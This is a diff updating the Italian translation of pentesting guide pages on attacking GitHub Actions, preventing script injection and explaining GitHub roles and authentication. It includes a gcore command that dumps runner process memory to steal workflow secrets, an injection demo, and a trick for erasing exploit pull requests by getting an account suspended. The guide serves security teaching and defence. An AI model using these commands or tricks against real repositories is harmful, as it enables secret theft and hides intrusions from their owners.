+**Self-hosted** runners potrebbero avere accesso a **informazioni sensibili aggiuntive**, ad altri **sistemi di rete** (endpoint vulnerabili nella rete? metadata service?) oppure, anche se sono isolati e distrutti, **più di una action potrebbe essere eseguita contemporaneamente** e quella malevola potrebbe rubare i secrets dell'altra.
 
-Nei self-hosted runners è anche possibile ottenere i **secrets from the \_Runner.Listener**\_\*\* process\*\* che conterrà tutti i secrets dei workflows in qualsiasi step dumpando la sua memoria:
+Nei self-hosted runners è anche possibile ottenere i **secrets from the \_Runner.Listener**\_\*\* process\*\* che conterrà tutti i secrets dei workflow in qualsiasi step effettuando il dump della sua memoria:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
@@ -581,8 +581,8 @@ Check [**this post for more information**](https://karimrahal.com/2023/01/05/git
 
 ### Registro immagini Docker di Github
 
-È possibile creare Github Actions che eseguono il build e memorizzano un'immagine Docker all'interno di Github.\
-Un esempio è disponibile nel seguente elemento espandibile:
+È possibile creare Github actions che **creano e memorizzano un'immagine Docker all'interno di Github**.\
+Un esempio può essere trovato nel seguente elemento espandibile:
 
 

 
@@ -617,9 +617,9 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 

 
-Come puoi vedere nel codice precedente, il registry di Github è ospitato in **`ghcr.io`**.
+Come puoi vedere nel codice precedente, il Github registry è ospitato in **`ghcr.io`**.
 
-Un utente con permessi di lettura sul repo potrà quindi scaricare la Docker Image utilizzando un personal access token:
+Un utente con permessi di lettura sul repo potrà quindi scaricare la Docker Image usando un token di accesso personale:
 ```bash
 echo $gh_token | docker login ghcr.io -u  --password-stdin
 docker pull ghcr.io//:
@@ -630,18 +630,18 @@ Poi, l'utente potrebbe cercare **leaked secrets in the Docker image layers:**
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
 {{#endref}}
 
-### Informazioni sensibili nei log di Github Actions
+### Informazioni sensibili nei logs di Github Actions
 
-Anche se **Github** prova a **detect secret values** nei log delle actions e a **avoid showing** questi valori, **altri dati sensibili** che potrebbero essere stati generati durante l'esecuzione dell'action non verranno nascosti. Per esempio, un JWT firmato con un secret value non verrà nascosto a meno che non sia [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Anche se **Github** prova a **rilevare valori segreti** nei logs di Github Actions e a **non mostrarli**, **altri dati sensibili** che potrebbero essere stati generati durante l'esecuzione dell'action non verranno nascosti. Ad esempio un JWT firmato con un valore segreto non verrà nascosto a meno che non sia [specificamente configurato](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
 ## Coprire le tue tracce
 
-(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prima di tutto, qualsiasi PR aperta è chiaramente visibile al pubblico su Github e all'account GitHub bersaglio. Su GitHub, per default, **non possiamo cancellare una PR dall'internet**, ma c'è un trucco. Per gli account Github che vengono **suspended** da Github, tutte le loro **PRs vengono automaticamente deleted** e rimosse dall'internet. Quindi, per nascondere la tua attività devi o far sì che il tuo **GitHub account venga suspended o che il tuo account venga flagged**. Questo **nasconderebbe tutte le tue attività** su GitHub da internet (basicamente rimuovere tutte le tue exploit PR)
+(Tecnica da [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prima di tutto, qualsiasi PR aperta è chiaramente visibile al pubblico su Github e all'account GitHub bersaglio. In GitHub, per impostazione predefinita, **non possiamo eliminare una PR da Internet**, ma c'è un colpo di scena. Per gli account Github che vengono **sospesi** da Github, tutte le loro **PR vengono automaticamente eliminate** e rimosse da Internet. Quindi, per nascondere la tua attività devi o **far sospendere il tuo account GitHub** o **far segnalare il tuo account**. Questo **nasconderebbe tutte le tue attività** su GitHub da Internet (praticamente rimuovendo tutte le exploit PR)
 
-Un'organizzazione su GitHub è molto proattiva nel reportare account a GitHub. Tutto quello che devi fare è condividere “some stuff” in un Issue e si assicureranno che il tuo account sia suspended entro 12 hours :p e così hai reso il tuo exploit invisible su github.
+Un'organizzazione su GitHub è molto proattiva nel segnalare account a GitHub. Tutto quello che devi fare è condividere “some stuff” in un Issue e loro faranno in modo che il tuo account venga sospeso entro 12 ore :p e così hai reso il tuo exploit invisibile su github.
 
 > [!WARNING]
-> L'unico modo per un'organizzazione per capire di essere stata presa di mira è controllare i log di GitHub dal SIEM, dato che dalla GitHub UI la PR verrebbe rimossa.
+> L'unico modo per un'organizzazione di capire di essere stata presa di mira è controllare i log di GitHub dal SIEM, poiché dall'interfaccia di GitHub la PR verrebbe rimossa.
 
 ## Riferimenti
 
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 27a8fe9e0..b8d106351 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -4,18 +4,18 @@
 
 ## Comprendere il rischio
 
-GitHub Actions rende le espressioni ${{ ... }} prima che lo step venga eseguito. Il valore renderizzato viene incollato nel programma dello step (per gli step run, uno script shell). Se si interpolano input non attendibili direttamente dentro run:, l'attaccante controlla parte del programma shell e può eseguire comandi arbitrari.
+GitHub Actions valuta le espressioni ${{ ... }} prima che lo step venga eseguito. Il valore valutato viene inserito nel programma dello step (per i run steps, uno script shell). Se interpoli input non attendibile direttamente dentro run:, l'attaccante controlla parte del programma shell e può eseguire comandi arbitrari.
 
 Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
 
 Punti chiave:
-- La valutazione avviene prima dell'esecuzione. Lo script definito in run: viene generato con tutte le espressioni risolte, poi eseguito dalla shell.
-- Molti contexts contengono campi controllati dall'utente a seconda dell'evento che innesca il workflow (issues, PRs, commenti, discussions, forks, stars, ecc.). Vedi il riferimento sugli input non attendibili: https://securitylab.github.com/resources/github-actions-untrusted-input/
-- Il quoting/escaping della shell all'interno di run: non è una difesa affidabile, perché l'iniezione avviene nella fase di rendering del template. Gli attaccanti possono uscire dalle virgolette o iniettare operatori tramite input appositamente costruiti.
+- La valutazione (rendering) avviene prima dell'esecuzione. Lo script di run viene generato con tutte le espressioni risolte, poi eseguito dalla shell.
+- Molti contexts contengono campi controllati dall'utente a seconda dell'evento che attiva il workflow (issues, PRs, comments, discussions, forks, stars, ecc.). Vedi il riferimento sull'input non attendibile: https://securitylab.github.com/resources/github-actions-untrusted-input/
+- L'escaping/quoting della shell dentro run: non è una difesa affidabile, perché l'iniezione avviene nella fase di rendering del template. Gli attaccanti possono uscire dalle virgolette o iniettare operatori mediante input appositamente creato.
 
 ## Pattern vulnerabile → RCE sul runner
 
-Workflow vulnerabile (innescato quando qualcuno apre una nuova issue):
+Workflow vulnerabile (triggerato quando qualcuno apre una nuova issue):
 ```yaml
 name: New Issue Created
 on:
@@ -44,12 +44,12 @@ La command substitution esegue id sul runner. Esempio di output:
 ```
 New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
 ```
-Perché il quoting non ti salva:
-- Le espressioni vengono valutate prima, poi lo script risultante viene eseguito. Se il valore non attendibile contiene $(...), `;`, `"`/`'`, o newlines, può alterare la struttura del programma nonostante il tuo quoting.
+Perché l'uso delle virgolette non ti salva:
+- Le espressioni vengono renderizzate per prime, poi viene eseguito lo script risultante. Se il valore non attendibile contiene $(...), `;`, `"`/`'`, o newlines, può alterare la struttura del programma nonostante le tue virgolette.
 
-## Safe pattern (shell variables via env)
+## Pattern sicuro (shell variables via env)
 
-Mitigazione corretta: copia l'input non attendibile in una variabile d'ambiente, poi usa l'espansione nativa della shell ($VAR) nello run script. Non reinserire con ${{ ... }} dentro il comando.
+Mitigazione corretta: copia l'input non attendibile in una variabile di ambiente, quindi usa l'espansione nativa della shell ($VAR) nello script di run. Non reinserire con ${{ ... }} all'interno del comando.
 ```yaml
 # safe
 jobs:
@@ -63,30 +63,30 @@ run: |
 echo "New issue $TITLE created"
 ```
 Note:
-- Evita di usare ${{ env.TITLE }} inside run:. Questo reintroduce il rendering del template nel comando e comporta lo stesso rischio di injection.
+- Evita di usare ${{ env.TITLE }} dentro run:. Questo reintroduce il rendering dei template nel comando e comporta lo stesso rischio di injection.
 - Preferisci passare input non attendibili tramite la mappatura env: e riferirli con $VAR in run:.
 
-## Superfici che possono essere attivate da utenti con sola lettura (trattare come non attendibili)
+## Superfici attivabili da utenti esterni (trattare come non attendibili)
 
-Account con solo permesso di read su repository pubblici possono comunque attivare molti eventi. Qualsiasi campo nei contesti derivati da questi eventi deve essere considerato controllato dall'attaccante a meno che non sia dimostrato il contrario. Esempi:
+Account con solo permesso di lettura sui repository pubblici possono comunque innescare molti eventi. Qualsiasi campo nei contesti derivati da questi eventi deve essere considerato controllato dall'attaccante a meno che non sia dimostrato il contrario. Esempi:
 - issues, issue_comment
-- discussion, discussion_comment (le org possono limitare le discussioni)
+- discussion, discussion_comment (orgs can restrict discussions)
 - pull_request, pull_request_review, pull_request_review_comment
-- pull_request_target (dangerous if misused, runs in base repo context)
-- fork (anyone can fork public repos)
+- pull_request_target (pericoloso se usato in modo errato, viene eseguito nel contesto del repository base)
+- fork (chiunque può forkare repository pubblici)
 - watch (starring a repo)
-- Indirectly via workflow_run/workflow_call chains
+- Indirettamente tramite catene workflow_run/workflow_call
 
-Quali campi specifici sono controllati dall'attaccante dipende dall'evento. Consulta GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
+Quali campi specifici sono controllati dall'attaccante dipende dall'evento. Consulta la guida di GitHub Security Lab sugli input non attendibili: https://securitylab.github.com/resources/github-actions-untrusted-input/
 
-## Consigli pratici
+## Suggerimenti pratici
 
-- Minimizza l'uso di expressions inside run:. Preferisci la mappatura env: + $VAR.
-- Se devi trasformare l'input, fallo nella shell usando strumenti sicuri (printf %q, jq -r, ecc.), sempre a partire da una variabile di shell.
-- Presta particolare attenzione quando interpoli nomi di branch, titoli di PR, username, labels, titoli di discussion e PR head refs in script, flag della riga di comando o percorsi di file.
-- Per reusable workflows e composite actions, applica lo stesso schema: mappa in env poi riferisciti a $VAR.
+- Minimizza l'uso di espressioni all'interno di run:. Preferisci la mappatura env: + $VAR.
+- Se devi trasformare l'input, fallo nella shell usando strumenti sicuri (printf %q, jq -r, ecc.), sempre partendo da una variabile di shell.
+- Fai particolare attenzione quando interpoli nomi dei branch, titoli delle PR, username, label, titoli delle discussion e PR head refs in script, flag della riga di comando o percorsi di file.
+- Per reusable workflows e composite actions, applica lo stesso schema: mappa su env e poi riferiscilo con $VAR.
 
-## References
+## Riferimenti
 
 - [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 - [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index f3d5a3613..a39b4629b 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -4,58 +4,58 @@
 
 ## Struttura di base
 
-La struttura di base dell'ambiente Github di una grande **azienda** è possedere una **enterprise** che a sua volta possiede **diverse organizzazioni** e ognuna di esse può contenere **diversi repository** e **diversi team**. Aziende più piccole possono semplicemente **possedere una sola organization e nessuna enterprise**.
+La struttura base dell'ambiente github in una grande **company** consiste nell'avere una **enterprise** che possiede **diverse organizations** e ognuna di esse può contenere **diversi repositories** e **diversi teams.**. Aziende più piccole possono semplicemente **possedere una sola organization e nessuna enterprise**.
 
-Dal punto di vista di un utente, un **user** può essere **membro** di **diverse enterprise e organizzazioni**. All'interno di queste il user può avere **diversi ruoli a livello di enterprise, organizzazione e repository**.
+Dal punto di vista di un utente un **user** può essere **member** di **diverse enterprises e organizations**. All'interno di queste il user può avere **diversi ruoli a livello enterprise, organization e repository**.
 
-Inoltre, un user può far parte di **diversi team** con differenti ruoli a livello di enterprise, organizzazione o repository.
+Inoltre, un user può essere **parte di diversi teams** con diversi ruoli a livello enterprise, organization o repository.
 
-Infine, **i repository possono avere meccanismi di protezione speciali**.
+Infine **i repositories possono avere meccanismi di protezione speciali**.
 
 ## Privilegi
 
 ### Enterprise Roles
 
-- **Enterprise owner**: Le persone con questo ruolo possono **gestire gli amministratori, gestire le organization all'interno dell'enterprise, gestire le impostazioni dell'enterprise, applicare policy tra le organizzazioni**. Tuttavia, **non possono accedere alle impostazioni o ai contenuti di una organization** a meno che non vengano resi organization owner o non venga concesso loro accesso diretto a un repository di proprietà della organization.
-- **Enterprise members**: I membri delle organization possedute dalla tua enterprise sono anche **automaticamente membri dell'enterprise**.
+- **Enterprise owner**: Le persone con questo ruolo possono **gestire gli amministratori, gestire le organizations all'interno dell'enterprise, gestire le impostazioni dell'enterprise, imporre policy attraverso le organizations**. Tuttavia, **non possono accedere alle impostazioni o ai contenuti di un'organization** a meno che non vengano nominati organization owner o non venga loro concesso accesso diretto a un repository di proprietà dell'organization.
+- **Enterprise members**: I membri delle organizations possedute dalla tua enterprise sono **automaticamente membri dell'enterprise**.
 
 ### Organization Roles
 
-In una organization gli utenti possono avere ruoli diversi:
+In un'organisation gli utenti possono avere ruoli differenti:
 
-- **Organization owners**: Gli organization owners hanno **accesso amministrativo completo alla tua organization**. Questo ruolo dovrebbe essere limitato, ma non a meno di due persone nell'organizzazione.
-- **Organization members**: Il ruolo **default**, non amministrativo per le **persone in un'organizzazione** è l'organization member. Di default, gli organization members **hanno una serie di permessi**.
+- **Organization owners**: Gli organization owners hanno **accesso amministrativo completo all'organization**. Questo ruolo dovrebbe essere limitato, ma non inferiore a due persone nell'organisation.
+- **Organization members**: Il ruolo **predefinito**, non amministrativo, per le **persone in un'organization** è organization member. Per default, gli organization members **hanno una serie di permessi**.
 - **Billing managers**: I billing managers sono utenti che possono **gestire le impostazioni di fatturazione per la tua organization**, come le informazioni di pagamento.
-- **Security Managers**: È un ruolo che gli organization owners possono assegnare a qualsiasi team in un'organizzazione. Quando applicato, dà a ogni membro del team i permessi per **gestire gli security alerts e le impostazioni in tutta l'organizzazione, oltre ai permessi di lettura per tutti i repository** dell'organizzazione.
-- Se la tua organizzazione ha un security team, puoi usare il ruolo di security manager per dare ai membri del team il minimo accesso necessario all'organizzazione.
-- **Github App managers**: Per consentire ad ulteriori utenti di **gestire i GitHub Apps posseduti da un'organizzazione**, un owner può concedere loro i permessi di Github App manager.
-- **Outside collaborators**: Un outside collaborator è una persona che ha **accesso a uno o più repository dell'organizzazione ma non è esplicitamente un membro** dell'organizzazione.
+- **Security Managers**: È un ruolo che gli organization owners possono assegnare a qualsiasi team all'interno di un'organization. Quando applicato, dà a ogni membro del team i permessi per **gestire security alerts e impostazioni in tutta l'organization, così come permessi di lettura per tutti i repositories** nell'organization.
+- Se la tua organization ha un security team, puoi usare il ruolo di security manager per dare ai membri del team il minimo accesso necessario all'organization.
+- **Github App managers**: Per permettere ad altri utenti di **gestire GitHub Apps possedute da un'organization**, un owner può concedere loro i permessi di GitHub App manager.
+- **Outside collaborators**: Un outside collaborator è una persona che ha **accesso a uno o più repositories dell'organization ma non è esplicitamente membro** dell'organization.
 
 Puoi **confrontare i permessi** di questi ruoli in questa tabella: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
 
 ### Members Privileges
 
-In _https://github.com/organizations/\/settings/member_privileges_ puoi vedere i **permessi che gli utenti avranno solo per essere parte dell'organizzazione**.
+In _https://github.com/organizations/\/settings/member_privileges_ puoi vedere i **permessi che gli utenti avranno solo per il fatto di far parte dell'organisation**.
 
-Le impostazioni qui configurate indicheranno i seguenti permessi dei membri dell'organizzazione:
+Le impostazioni qui configurate indicheranno i seguenti permessi dei membri dell'organization:
 
-- Essere admin, writer, reader o nessun permesso su tutti i repository dell'organizzazione.
-- Se i membri possono creare repository private, internal o public.
-- Se è possibile effettuare fork dei repository.
+- Essere admin, writer, reader o non avere permessi su tutti i repositories dell'organization.
+- Se i members possono creare repository private, internal o public.
+- Se è possibile fare fork dei repositories.
 - Se è possibile invitare outside collaborators.
-- Se siti public o private possono essere pubblicati.
-- I permessi che gli admin hanno sui repository.
-- Se i membri possono creare nuovi team.
+- Se è possibile pubblicare siti public o private.
+- I permessi che gli admins hanno sui repositories.
+- Se i members possono creare nuovi teams.
 
 ### Repository Roles
 
-Per default i repository hanno creati i seguenti ruoli:
+Per default sono creati i seguenti repository roles:
 
-- **Read**: Raccomandato per **contributori non-code** che vogliono visualizzare o discutere il progetto.
-- **Triage**: Raccomandato per **contributori che devono gestire proattivamente issues e pull request** senza accesso in scrittura.
-- **Write**: Raccomandato per contributori che **inseriscono attivamente codice nel progetto**.
-- **Maintain**: Raccomandato per **project manager che devono gestire il repository** senza accesso ad azioni sensibili o distruttive.
-- **Admin**: Raccomandato per persone che necessitano di **accesso completo al progetto**, incluse azioni sensibili e distruttive come gestire la sicurezza o cancellare un repository.
+- **Read**: Raccomandato per **non-code contributors** che vogliono vedere o discutere il progetto.
+- **Triage**: Raccomandato per **contributor che devono gestire proattivamente issues e pull requests** senza accesso in scrittura.
+- **Write**: Raccomandato per contributor che **attivamente pushano al progetto**.
+- **Maintain**: Raccomandato per **project managers che devono gestire il repository** senza accesso ad azioni sensibili o distruttive.
+- **Admin**: Raccomandato per persone che necessitano di **accesso completo al progetto**, incluse azioni sensibili e distruttive come gestire security o eliminare un repository.
 
 Puoi **confrontare i permessi** di ogni ruolo in questa tabella [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
 
@@ -63,94 +63,94 @@ Puoi anche **creare ruoli personalizzati** in _https://github.com/organizations/
 
 ### Teams
 
-Puoi **elencare i team creati in un'organizzazione** in _https://github.com/orgs/\/teams_. Nota che per vedere i team che sono figli di altri team è necessario accedere a ogni team padre.
+Puoi **elencare i teams creati in un'organization** in _https://github.com/orgs/\/teams_. Nota che per vedere i teams che sono figli di altri teams è necessario accedere a ciascun parent team.
 
 ### Users
 
-Gli utenti di un'organizzazione possono essere **elencati** in _https://github.com/orgs/\/people._
+Gli utenti di un'organization possono essere **elencati** in _https://github.com/orgs/\/people._
 
-Nelle informazioni di ogni user puoi vedere i **team di cui l'utente è membro**, e i **repo a cui l'utente ha accesso**.
+Nelle informazioni di ciascun user puoi vedere i **teams di cui il user è membro**, e i **repos a cui il user ha accesso**.
 
 ## Github Authentication
 
-Github offre diversi modi per autenticarsi al tuo account ed eseguire azioni per tuo conto.
+Github offre diversi metodi per autenticarsi al tuo account ed eseguire azioni per tuo conto.
 
 ### Web Access
 
-Accedendo a **github.com** puoi fare login usando il tuo **username e password** (e una **2FA eventualmente**).
+Accedendo a **github.com** puoi login usando il tuo **username e password** (e una **2FA potenzialmente**).
 
 ### **SSH Keys**
 
-Puoi configurare il tuo account con una o più chiavi pubbliche che permettono alla relativa **chiave privata di eseguire azioni per tuo conto.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Puoi configurare il tuo account con una o più public keys permettendo alla relativa **private key di eseguire azioni per tuo conto.** [https://github.com/settings/keys](https://github.com/settings/keys)
 
 #### **GPG Keys**
 
-Non puoi impersonare l'utente con queste chiavi, ma se non le usi potrebbe essere possibile che **venga scoperto l'invio di commit senza firma**. Per saperne di più su vigilant mode leggi [qui](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Non **puoi impersonare l'utente con queste keys** ma se non le usi potrebbe essere possibile che tu **venga scoperto per aver inviato commit senza una signature**. Scopri di più su [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
 
 ### **Personal Access Tokens**
 
-Puoi generare personal access token per **dare a un'applicazione accesso al tuo account**. Quando crei un personal access token il **user** deve **specificare** i **permessi** che il **token** avrà. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Puoi generare personal access token per **dare a un'applicazione accesso al tuo account**. Quando crei un personal access token l'**user** deve **specificare** i **permessi** che il **token** avrà. [https://github.com/settings/tokens](https://github.com/settings/tokens)
 
 ### Oauth Applications
 
-Le Oauth applications possono chiederti permessi **per accedere a parte delle tue informazioni su github o per impersonarti** per eseguire alcune azioni. Un esempio comune di questa funzionalità è il pulsante **login with github** che potresti trovare in alcune piattaforme.
+Oauth applications possono chiedere permessi **per accedere a parte delle tue informazioni su github o per impersonarti** per eseguire alcune azioni. Un esempio comune di questa funzionalità è il bottone **login with github** che potresti trovare in alcune piattaforme.
 
 - Puoi **creare** le tue **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
 - Puoi vedere tutte le **Oauth applications che hanno accesso al tuo account** in [https://github.com/settings/applications](https://github.com/settings/applications)
-- Puoi vedere gli **scopes che le Oauth Apps possono richiedere** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-- Puoi vedere l'accesso di terze parti delle applicazioni in un'**organization** in _https://github.com/organizations/\/settings/oauth_application_policy_
+- Puoi vedere gli **scopes che Oauth Apps possono richiedere** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- Puoi vedere l'accesso di terze parti delle applications in un'**organization** in _https://github.com/organizations/\/settings/oauth_application_policy_
 
 Alcune **raccomandazioni di sicurezza**:
 
 - Un **OAuth App** dovrebbe sempre **agire come l'utente GitHub autenticato su tutto GitHub** (per esempio, quando fornisce notifiche all'utente) e con accesso solo agli scopes specificati.
 - Un OAuth App può essere usato come identity provider abilitando un "Login with GitHub" per l'utente autenticato.
-- **Non** costruire un **OAuth App** se vuoi che la tua applicazione agisca su un **singolo repository**. Con lo scope `repo`, le OAuth Apps possono **agire su _tutti_** i repository autenticati dell'utente.
-- **Non** costruire un OAuth App per agire come applicazione per il tuo **team o azienda**. Le OAuth Apps autenticano come **singolo utente**, quindi se una persona crea un OAuth App per l'azienda e poi lascia l'azienda, nessun altro avrà accesso.
-- **Altro** in [qui](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- **Non** costruire un **OAuth App** se vuoi che la tua applicazione agisca su **un singolo repository**. Con lo scope `repo`, le OAuth Apps possono **agire su _tutti_ i repositories** dell'utente autenticato.
+- **Non** costruire un OAuth App per agire come applicazione per il tuo **team o company**. Le OAuth Apps si autenticano come **un singolo user**, quindi se una persona crea un OAuth App che la company usa e poi lascia l'azienda, nessun altro avrà accesso.
+- **Maggiori informazioni** qui: [https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
 
 ### Github Applications
 
-Le Github applications possono chiedere permessi per **accedere alle tue informazioni su github o impersonarti** per eseguire azioni specifiche su risorse specifiche. Nelle Github Apps devi specificare i repository a cui l'app avrà accesso.
+Github applications possono chiedere permessi per **accedere alle tue informazioni su github o impersonarti** per eseguire azioni specifiche su risorse specifiche. Nelle Github Apps devi specificare i repositories a cui l'app avrà accesso.
 
 - Per installare una GitHub App, devi essere **organisation owner o avere permessi admin** in un repository.
-- La GitHub App dovrebbe **connettersi a un account personale o a un'organizzazione**.
+- La GitHub App dovrebbe **connettersi a un account personale o a un'organization**.
 - Puoi creare la tua Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
 - Puoi vedere tutte le **Github applications che hanno accesso al tuo account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- Questi sono i **API Endpoints per le Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). A seconda dei permessi dell'App potrà accedere ad alcuni di essi.
+- Questi sono gli **API Endpoints per Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). A seconda dei permessi dell'App potrà accedere ad alcuni di essi.
 - Puoi vedere le app installate in un'**organization** in _https://github.com/organizations/\/settings/installations_
 
 Alcune raccomandazioni di sicurezza:
 
-- Una GitHub App dovrebbe **eseguire azioni indipendenti da un utente** (a meno che l'app non stia usando un token [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Per mantenere più sicuri i token user-to-server, puoi usare access token che scadono dopo 8 ore e un refresh token che può essere scambiato per un nuovo access token. Per maggiori informazioni, vedi "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- Assicurati che la GitHub App si integri con **repository specifici**.
-- La GitHub App dovrebbe **connettersi a un account personale o a un'organizzazione**.
-- Non aspettarti che la GitHub App sappia e faccia tutto ciò che un utente può fare.
-- **Non usare una GitHub App se ti serve solo un servizio "Login with GitHub"**. Ma una GitHub App può usare un [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) per autenticare gli utenti _e_ fare altre cose.
-- Non costruire una GitHub App se vuoi _solo_ agire come un utente GitHub e fare tutto ciò che quell'utente può fare.
-- Se stai usando la tua app con GitHub Actions e vuoi modificare i workflow files, devi autenticarti per conto dell'utente con un OAuth token che includa lo scope `workflow`. L'utente deve avere permessi admin o write sul repository che contiene il file di workflow. Per maggiori informazioni, vedi "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
-- **Altro** in [qui](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- Una GitHub App dovrebbe **eseguire azioni indipendenti da un utente** (a meno che l'app non stia usando un token [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Per mantenere più sicuri gli access token user-to-server, puoi usare token di accesso che scadono dopo 8 ore e un refresh token che può essere scambiato per un nuovo access token. Per maggiori informazioni, vedi "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Assicurati che la GitHub App si integri con **repositories specifici**.
+- La GitHub App dovrebbe **connettersi a un account personale o a un'organization**.
+- Non aspettarti che la GitHub App sappia e faccia tutto quello che un user può fare.
+- **Non usare una GitHub App se ti serve solo un servizio "Login with GitHub"**. Ma una GitHub App può usare un [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) per loggare gli utenti _e_ fare altre cose.
+- Non costruire una GitHub App se vuoi _solo_ agire come un user GitHub e fare tutto ciò che quell'user può fare.
+- Se stai usando la tua app con GitHub Actions e vuoi modificare workflow files, devi autenticarti per conto dell'utente con un OAuth token che includa lo scope `workflow`. L'utente deve avere permessi admin o write sul repository che contiene il workflow file. Per maggiori informazioni, vedi "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- **Maggiori informazioni** qui: [https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
 
 ### Github Actions
 
-Questo **non è un modo per autenticarsi in github**, ma una **malicious** Github Action potrebbe ottenere **accesso non autorizzato a github** e **a seconda** dei **privilegi** concessi all'Action si potrebbero compiere **diversi attacchi**. Vedi sotto per maggiori informazioni.
+Questo **non è un metodo per autenticarsi in github**, ma una **malicious** Github Action potrebbe ottenere **accesso non autorizzato a github** e **a seconda** dei **privilegi** assegnati all'Action possono essere compiuti diversi **attacchi**. Vedi sotto per più informazioni.
 
 ## Git Actions
 
-Git actions permette di automatizzare la **esecuzione di codice quando accade un evento**. Solitamente il codice eseguito è **in qualche modo legato al codice del repository** (per esempio costruire un container docker o verificare che la PR non contenga secrets).
+Git actions permette di automatizzare l'**esecuzione di codice quando accade un evento**. Di solito il codice eseguito è **in qualche modo relativo al codice del repository** (per esempio costruire un docker container o controllare che la PR non contenga secrets).
 
 ### Configuration
 
-In _https://github.com/organizations/\/settings/actions_ è possibile controllare la **configurazione delle github actions** per l'organizzazione.
+In _https://github.com/organizations/\/settings/actions_ è possibile controllare la **configurazione delle github actions** per l'organization.
 
-È possibile disabilitare completamente l'uso di github actions, **consentire tutte le github actions**, o permettere solo certe actions.
+È possibile disabilitare completamente l'uso delle github actions, **allow all github actions**, o permettere solo certe actions.
 
-È inoltre possibile configurare **chi necessita approvazione per eseguire una Github Action** e i **permessi del GITHUB_TOKEN** di una Github Action quando viene eseguita.
+È anche possibile configurare **chi necessita di approvazione per eseguire una Github Action** e i **permessi del GITHUB_TOKEN** di una Github Action quando viene eseguita.
 
 ### Git Secrets
 
-Le Github Action solitamente necessitano di qualche tipo di secret per interagire con github o applicazioni di terze parti. Per **evitare di metterli in chiaro** nel repo, github permette di salvarli come **Secrets**.
